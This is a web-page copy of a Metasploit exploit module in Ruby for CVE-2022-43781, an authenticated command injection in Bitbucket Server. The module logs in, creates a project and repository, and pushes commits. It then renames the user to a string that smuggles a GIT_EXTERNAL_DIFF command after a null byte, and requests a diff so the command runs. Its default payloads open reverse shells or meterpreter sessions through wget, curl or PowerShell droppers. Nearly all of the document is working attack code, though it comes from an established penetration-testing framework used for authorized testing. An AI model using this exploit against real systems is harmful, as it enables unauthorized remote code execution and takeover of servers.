Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/bitbucket_env_var_rce.rb
33119 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Git
11
include Msf::Exploit::Git::SmartHttp
12
include Msf::Exploit::CmdStager
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Bitbucket Environment Variable RCE',
20
'Description' => %q{
21
For various versions of Bitbucket, there is an authenticated command injection
22
vulnerability that can be exploited by injecting environment
23
variables into a user name. This module achieves remote code execution
24
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
25
variable, a null character as a delimiter, and arbitrary code into a user's
26
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
27
will be run once the Bitbucket application is coerced into generating a diff.
28
29
This module requires at least admin credentials, as admins and above
30
only have the option to change their user name.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'Ry0taK', # Vulnerability Discovery
35
'y4er', # PoC and blog post
36
'Shelby Pace' # Metasploit Module
37
],
38
'References' => [
39
[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
40
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
41
[ 'CVE', '2022-43781']
42
],
43
'Privileged' => true,
44
'Targets' => [
45
[
46
'Linux Command',
47
{
48
'Platform' => 'unix',
49
'Type' => :unix_cmd,
50
'Arch' => [ ARCH_CMD ],
51
'Payload' => { 'Space' => 254 },
52
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
53
}
54
],
55
[
56
'Linux Dropper',
57
{
58
'Platform' => 'linux',
59
'MaxLineChars' => 254,
60
'Type' => :linux_dropper,
61
'Arch' => [ ARCH_X86, ARCH_X64 ],
62
'CmdStagerFlavor' => %i[wget curl],
63
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
64
}
65
],
66
[
67
'Windows Dropper',
68
{
69
'Platform' => 'win',
70
'MaxLineChars' => 254,
71
'Type' => :win_dropper,
72
'Arch' => [ ARCH_X86, ARCH_X64 ],
73
'CmdStagerFlavor' => [ :psh_invokewebrequest ],
74
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
75
}
76
]
77
],
78
'DisclosureDate' => '2022-11-16',
79
'DefaultTarget' => 0,
80
'Notes' => {
81
'Stability' => [ CRASH_SAFE ],
82
'Reliability' => [ REPEATABLE_SESSION ],
83
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
84
}
85
)
86
)
87
88
register_options(
89
[
90
Opt::RPORT(7990),
91
OptString.new('USERNAME', [ true, 'User name to log in with' ]),
92
OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
93
OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
94
]
95
)
96
end
97
98
def check
99
res = send_request_cgi(
100
'method' => 'GET',
101
'uri' => normalize_uri(target_uri.path, 'login'),
102
'keep_cookies' => true
103
)
104
105
return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
106
return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')
107
108
nokogiri_data = res.get_html_document
109
footer = nokogiri_data&.at('footer')
110
return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer
111
112
version_info = footer.at('span')&.children&.text
113
return CheckCode::Detected('Failed to find version information in footer section') unless version_info
114
115
vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
116
return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1
117
118
version_str = vers_matches[1]
119
120
vprint_status("Found version #{version_str} of Bitbucket")
121
major, minor, revision = version_str.split('.')
122
rev_num = revision.to_i
123
124
case major
125
when '7'
126
case minor
127
when '0', '1', '2', '3', '4', '5'
128
return CheckCode::Appears
129
when '6'
130
return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
131
when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
132
return CheckCode::Appears
133
when '17'
134
return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
135
when '18', '19', '20'
136
return CheckCode::Appears
137
when '21'
138
return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
139
end
140
when '8'
141
print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
142
case minor
143
when '0'
144
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
145
when '1'
146
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
147
when '2'
148
return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
149
when '3'
150
return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
151
when '4'
152
return CheckCode::Appears if rev_num == 0 || rev_num == 1
153
end
154
end
155
156
CheckCode::Detected
157
end
158
159
def default_branch
160
@default_branch ||= Rex::Text.rand_text_alpha(5..9)
161
end
162
163
def uname_payload(cmd)
164
"#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
165
end
166
167
def log_in(username, password)
168
res = send_request_cgi(
169
'method' => 'GET',
170
'uri' => normalize_uri(target_uri.path, 'login'),
171
'keep_cookies' => true
172
)
173
174
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')
175
176
res = send_request_cgi(
177
'method' => 'POST',
178
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
179
'keep_cookies' => true,
180
'vars_post' => {
181
'j_username' => username,
182
'j_password' => password,
183
'_atl_remember_me' => 'on',
184
'submit' => 'Log in'
185
}
186
)
187
188
fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res
189
res = send_request_cgi(
190
'method' => 'GET',
191
'uri' => normalize_uri(target_uri.path, 'projects'),
192
'keep_cookies' => true
193
)
194
195
fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
196
unless res.body.include?('Logged in')
197
fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
198
end
199
end
200
201
def create_project
202
proj_uri = normalize_uri(target_uri.path, 'projects?create')
203
res = send_request_cgi(
204
'method' => 'GET',
205
'uri' => proj_uri,
206
'keep_cookies' => true
207
)
208
209
fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')
210
211
vprint_status('Retrieving security token')
212
html_doc = res.get_html_document
213
token_data = html_doc.at('div//input[@name="atl_token"]')
214
fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data
215
216
@token = token_data['value']
217
fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?
218
219
project_name = Rex::Text.rand_text_alpha(5..9)
220
project_key = Rex::Text.rand_text_alpha(5..9).upcase
221
res = send_request_cgi(
222
'method' => 'POST',
223
'uri' => proj_uri,
224
'keep_cookies' => true,
225
'vars_post' => {
226
'name' => project_name,
227
'key' => project_key,
228
'submit' => 'Create project',
229
'atl_token' => @token
230
}
231
)
232
233
fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
234
fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)
235
236
print_status('Project creation was successful')
237
[ project_name, project_key ]
238
end
239
240
def create_repository
241
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
242
res = send_request_cgi(
243
'method' => 'GET',
244
'uri' => repo_uri,
245
'keep_cookies' => true
246
)
247
248
fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res
249
250
html_doc = res.get_html_document
251
252
dropdown_data = html_doc.at('li[@class="user-dropdown"]')
253
fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
254
email = dropdown_data&.at('span')&.[]('data-emailaddress')
255
fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?
256
257
repo_name = Rex::Text.rand_text_alpha(5..9)
258
res = send_request_cgi(
259
'method' => 'POST',
260
'uri' => repo_uri,
261
'keep_cookies' => true,
262
'vars_post' => {
263
'name' => repo_name,
264
'defaultBranchId' => default_branch,
265
'description' => '',
266
'scmId' => 'git',
267
'forkable' => 'false',
268
'atl_token' => @token,
269
'submit' => 'Create repository'
270
}
271
)
272
273
fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
274
res = send_request_cgi(
275
'method' => 'GET',
276
'keep_cookies' => true,
277
'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
278
)
279
280
fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
281
print_good("Successfully created repository '#{repo_name}'")
282
283
[ email, repo_name ]
284
end
285
286
def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
287
txt_data = Rex::Text.rand_text_alpha(5..20)
288
blob_object = GitObject.build_blob_object(txt_data)
289
file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"
290
291
file_data = {
292
mode: '100755',
293
file_name: file_name,
294
sha1: blob_object.sha1
295
}
296
297
tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
298
tree_obj = GitObject.build_tree_object(tree_data)
299
commit_obj = GitObject.build_commit_object({
300
tree_sha1: tree_obj.sha1,
301
email: email,
302
message: Rex::Text.rand_text_alpha(4..30),
303
parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
304
})
305
306
{
307
objects: [ commit_obj, tree_obj, blob_object ],
308
file_data: file_data
309
}
310
end
311
312
# create two files in two separate commits in order
313
# to view a diff and get code execution
314
def create_commits(email)
315
init_objects = generate_repo_objects(email)
316
commit_obj = init_objects[:objects].first
317
318
refs = {
319
'HEAD' => "refs/heads/#{default_branch}",
320
"refs/heads/#{default_branch}" => commit_obj.sha1
321
}
322
323
final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
324
repo_objects = final_objects[:objects] + init_objects[:objects]
325
new_commit = final_objects[:objects].first
326
new_file = final_objects[:file_data][:file_name]
327
328
git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
329
res = send_receive_pack_request(
330
git_uri,
331
refs['HEAD'],
332
repo_objects,
333
'0' * 40 # no commits should exist yet, so no branch tip in repo yet
334
)
335
336
fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
337
fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
338
fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')
339
340
[ new_commit.sha1, commit_obj.sha1, new_file ]
341
end
342
343
def get_user_id(curr_uname)
344
res = send_request_cgi(
345
'method' => 'GET',
346
'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
347
'vars_get' => { 'name' => curr_uname }
348
)
349
350
matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)
351
fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1
352
353
matched_id[1]
354
end
355
356
def change_username(curr_uname, new_uname)
357
@user_id ||= get_user_id(curr_uname)
358
359
headers = {
360
'X-Requested-With' => 'XMLHttpRequest',
361
'X-AUSERID' => @user_id,
362
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
363
}
364
365
vars = {
366
'name' => curr_uname,
367
'newName' => new_uname
368
}.to_json
369
370
res = send_request_cgi(
371
'method' => 'POST',
372
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
373
'ctype' => 'application/json',
374
'keep_cookies' => true,
375
'headers' => headers,
376
'data' => vars
377
)
378
379
unless res
380
print_bad('Did not receive a response to the user name change request')
381
return false
382
end
383
384
unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
385
print_bad('User name change was unsuccessful')
386
return false
387
end
388
389
true
390
end
391
392
def commit_uri(project_key, repo_name, commit_sha)
393
normalize_uri(
394
target_uri.path,
395
'rest/api/latest/projects',
396
project_key,
397
'repos',
398
repo_name,
399
'commits',
400
commit_sha
401
)
402
end
403
404
def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
405
commit_diff_uri = normalize_uri(
406
commit_uri(@project_key, @repo_name, latest_commit_sha),
407
'diff',
408
diff_file
409
)
410
411
send_request_cgi(
412
'method' => 'GET',
413
'uri' => commit_diff_uri,
414
'keep_cookies' => true,
415
'vars_get' => { 'since' => first_commit_sha }
416
)
417
end
418
419
def delete_repository(username)
420
vprint_status("Attempting to delete repository '#{@repo_name}'")
421
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
422
res = send_request_cgi(
423
'method' => 'DELETE',
424
'uri' => repo_uri,
425
'keep_cookies' => true,
426
'headers' => {
427
'X-AUSERNAME' => username,
428
'X-AUSERID' => @user_id,
429
'X-Requested-With' => 'XMLHttpRequest',
430
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
431
'ctype' => 'application/json',
432
'Accept' => 'application/json, text/javascript'
433
}
434
)
435
436
unless res&.body&.include?('scheduled for deletion')
437
print_warning('Failed to delete repository')
438
return
439
end
440
441
print_good('Repository has been deleted')
442
end
443
444
def delete_project(username)
445
vprint_status("Now attempting to delete project '#{@project_name}'")
446
send_request_cgi( # fails to return a response
447
'method' => 'DELETE',
448
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
449
'keep_cookies' => true,
450
'headers' => {
451
'X-AUSERNAME' => username,
452
'X-AUSERID' => @user_id,
453
'X-Requested-With' => 'XMLHttpRequest',
454
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
455
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
456
'ctype' => 'application/json',
457
'Accept' => 'application/json, text/javascript, */*; q=0.01',
458
'Accept-Encoding' => 'gzip, deflate'
459
}
460
)
461
462
res = send_request_cgi(
463
'method' => 'GET',
464
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
465
'keep_cookies' => true
466
)
467
468
unless res&.code == 404
469
print_warning('Failed to delete project')
470
return
471
end
472
473
print_good('Project has been deleted')
474
end
475
476
def get_repo
477
res = send_request_cgi(
478
'method' => 'GET',
479
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
480
'keep_cookies' => true
481
)
482
483
unless res
484
print_status('Couldn\'t access repos page. Will create repo')
485
return []
486
end
487
488
json_data = JSON.parse(res.body)
489
unless json_data && json_data['size'] >= 1
490
print_status('No accessible repositories. Will attempt to create a repo')
491
return []
492
end
493
494
repo_data = json_data['values'].first
495
repo_name = repo_data['slug']
496
project_key = repo_data['project']['key']
497
498
unless repo_name && project_key
499
print_status('Could not find repo name and key. Creating repo')
500
return []
501
end
502
503
[ repo_name, project_key ]
504
end
505
506
def get_repo_info
507
unless @project_name && @project_key
508
print_status('Failed to find valid project information. Will attempt to create repo')
509
return nil
510
end
511
512
res = send_request_cgi(
513
'method' => 'GET',
514
'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
515
'keep_cookies' => true
516
)
517
518
unless res
519
print_status("Failed to access existing repository #{@project_name}")
520
return nil
521
end
522
523
html_doc = res.get_html_document
524
commit_data = html_doc.search('a[@class="commitid"]')
525
unless commit_data && commit_data.length > 1
526
print_status('No commits found for existing repo')
527
return nil
528
end
529
530
latest_commit = commit_data[0]['data-commitid']
531
prev_commit = commit_data[1]['data-commitid']
532
533
file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
534
res = send_request_cgi(
535
'method' => 'GET',
536
'uri' => file_uri,
537
'keep_cookies' => true
538
)
539
540
return nil unless res
541
542
json = JSON.parse(res.body)
543
return nil unless json['values']
544
545
path = json['values']&.first&.dig('path')
546
return nil unless path
547
548
[ latest_commit, prev_commit, path['name'] ]
549
end
550
551
def exploit
552
@use_public_repo = true
553
datastore['GIT_USERNAME'] = datastore['USERNAME']
554
datastore['GIT_PASSWORD'] = datastore['PASSWORD']
555
556
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
557
fail_with(Failure::BadConfig, 'No credentials to log in with.')
558
end
559
560
log_in(datastore['USERNAME'], datastore['PASSWORD'])
561
@curr_uname = datastore['USERNAME']
562
563
@project_name, @project_key = get_repo
564
@repo_name = @project_name
565
@latest_commit, @first_commit, @diff_file = get_repo_info
566
unless @latest_commit && @first_commit && @diff_file
567
@use_public_repo = false
568
@project_name, @project_key = create_project
569
email, @repo_name = create_repository
570
@latest_commit, @first_commit, @diff_file = create_commits(email)
571
print_good("Commits added: #{@first_commit}, #{@latest_commit}")
572
end
573
574
print_status('Sending payload')
575
case target['Type']
576
when :win_dropper
577
execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
578
when :linux_dropper
579
execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
580
when :unix_cmd
581
execute_command(payload.encoded.strip)
582
end
583
end
584
585
def cleanup
586
if @curr_uname != datastore['USERNAME']
587
print_status("Changing user name back to '#{datastore['USERNAME']}'")
588
589
if change_username(@curr_uname, datastore['USERNAME'])
590
@curr_uname = datastore['USERNAME']
591
else
592
print_warning('User name is still set to payload.' \
593
"Please manually change the user name back to #{datastore['USERNAME']}")
594
end
595
end
596
597
unless @use_public_repo
598
delete_repository(@curr_uname) if @repo_name
599
delete_project(@curr_uname) if @project_name
600
end
601
end
602
603
def execute_command(cmd, _opts = {})
604
if target['Platform'] == 'win'
605
curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
606
else
607
curr_payload = uname_payload(cmd)
608
end
609
610
unless change_username(@curr_uname, curr_payload)
611
fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
612
end
613
614
view_commit_diff(@latest_commit, @first_commit, @diff_file)
615
@curr_uname = curr_payload
616
end
617
end
618
619